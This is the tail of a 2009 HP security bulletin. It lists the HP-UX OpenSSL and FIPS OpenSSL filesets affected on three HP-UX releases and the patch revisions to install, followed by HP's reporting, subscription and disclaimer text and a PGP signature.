B.11.23 (11i v2)
A.00.09.07m.047
B.11.31 (11i v3)
A.00.09.08j.003
MANUAL ACTIONS: Yes - Update
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS
HP-UX B.11.11
==================
fips_1_1_2.FIPS-CONF
fips_1_1_2.FIPS-DOC
fips_1_1_2.FIPS-INC
fips_1_1_2.FIPS-LIB
fips_1_1_2.FIPS-MAN
fips_1_1_2.FIPS-MIS
fips_1_1_2.FIPS-RUN
fips_1_1_2.FIPS-SRC
action: install revision FIPS-OPENSSL-1.1.2.046 or subsequent
fips_1_2.FIPS-CONF
fips_1_2.FIPS-DOC
fips_1_2.FIPS-INC
fips_1_2.FIPS-LIB
fips_1_2.FIPS-MAN
fips_1_2.FIPS-MIS
fips_1_2.FIPS-RUN
fips_1_2.FIPS-SRC
action: install revision FIPS-OPENSSL-1.2.001 or subsequent
openssl.OPENSSL-CER
openssl.OPENSSL-CONF
openssl.OPENSSL-DOC
openssl.OPENSSL-INC
openssl.OPENSSL-LIB
openssl.OPENSSL-MAN
openssl.OPENSSL-MIS
openssl.OPENSSL-PRNG
openssl.OPENSSL-PVT
openssl.OPENSSL-RUN
openssl.OPENSSL-SRC
action: install revision A.00.09.07m.046 or subsequent
URL: http://software.hp.com
HP-UX B.11.23
==================
fips_1_1_2.FIPS-CONF
fips_1_1_2.FIPS-DOC
fips_1_1_2.FIPS-INC
fips_1_1_2.FIPS-LIB
fips_1_1_2.FIPS-MAN
fips_1_1_2.FIPS-MIS
fips_1_1_2.FIPS-RUN
fips_1_1_2.FIPS-SRC
action: install revision FIPS-OPENSSL-1.1.2.047 or subsequent
fips_1_2.FIPS-CONF
fips_1_2.FIPS-DOC
fips_1_2.FIPS-INC
fips_1_2.FIPS-LIB
fips_1_2.FIPS-LIB
fips_1_2.FIPS-MAN
fips_1_2.FIPS-MIS
fips_1_2.FIPS-RUN
fips_1_2.FIPS-RUN
fips_1_2.FIPS-SRC
action: install revision FIPS-OPENSSL-1.2.002 or subsequent
openssl.OPENSSL-CER
openssl.OPENSSL-CONF
openssl.OPENSSL-DOC
openssl.OPENSSL-INC
openssl.OPENSSL-LIB
openssl.OPENSSL-MAN
openssl.OPENSSL-MIS
openssl.OPENSSL-PRNG
openssl.OPENSSL-PVT
openssl.OPENSSL-RUN
openssl.OPENSSL-SRC
action: install revision A.00.09.07m.047 or subsequent
URL: http://software.hp.com
HP-UX B.11.31
==================
fips_1_1_2.FIPS-CONF
fips_1_1_2.FIPS-DOC
fips_1_1_2.FIPS-INC
fips_1_1_2.FIPS-LIB
fips_1_1_2.FIPS-MAN
fips_1_1_2.FIPS-MIS
fips_1_1_2.FIPS-RUN
fips_1_1_2.FIPS-SRC
action: install revision FIPS-OPENSSL-1.1.2.048 or subsequent
fips_1_2.FIPS-CONF
fips_1_2.FIPS-DOC
fips_1_2.FIPS-INC
fips_1_2.FIPS-LIB
fips_1_2.FIPS-MAN
fips_1_2.FIPS-MIS
fips_1_2.FIPS-RUN
fips_1_2.FIPS-SRC
action: install revision FIPS-OPENSSL-1.2.003 or subsequent
openssl.OPENSSL-CER
openssl.OPENSSL-CONF
openssl.OPENSSL-DOC
openssl.OPENSSL-INC
openssl.OPENSSL-LIB
openssl.OPENSSL-MAN
openssl.OPENSSL-MIS
openssl.OPENSSL-PRNG
openssl.OPENSSL-PVT
openssl.OPENSSL-RUN
openssl.OPENSSL-SRC
action: install revision A.00.09.08j.003 or subsequent
URL: http://software.hp.com
END AFFECTED VERSIONS
HISTORY
Version:1 (rev.1) 31 March 2009 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSdNBjeAfOvwtKn1ZEQI07wCg4iu1Jn5I5OInhZq8nYL+a/9MT2UAoPGR
gTd3Vf2bK3bnrFOIBFl0/t75
=vt7j
-----END PGP SIGNATURE-----
--- End Message ---